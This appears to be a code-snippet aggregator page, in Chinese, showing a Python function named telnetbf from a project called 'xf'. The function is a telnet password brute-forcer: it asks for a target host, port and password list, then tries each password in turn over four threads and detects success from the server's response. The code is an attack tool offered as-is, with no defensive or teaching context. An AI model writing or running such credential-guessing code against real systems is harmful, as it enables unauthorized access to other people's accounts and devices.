telnet.py 文件源码

python
阅读 42 收藏 0 点赞 0 评论 0

项目:xf 作者: red-green 项目源码 文件源码
def telnetbf():
    host = raw_input('host or ip to connect to> ')
    port = input('port to connect to> ')
    pwlist = raw_input('password list> ').strip()
    prompt = raw_input('the password prompt (the cue to send the password, usually "Password: ")> ')
    incorrect = raw_input('first thing the server says if password is incorrect (cue to disconnect and try another)> ')
    def try_pass(pw):
        try:
            tel = telnetlib.Telnet()
            tel.open(host,port)
            tel.read_until(prompt,5)
            tel.write(pw)
            tel.write('\n')
            ret = tel.read_until(incorrect,3)
            tel.close()
            if incorrect in ret:
                return False
            return True
        except (socket.error, socket.herror, socket.gaierror, socket.timeout, telnetlib.EOFError):
            return False
    zc = zippycrack(try_pass,pwlist,num_threads=4,cont=False)
    zc.run()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号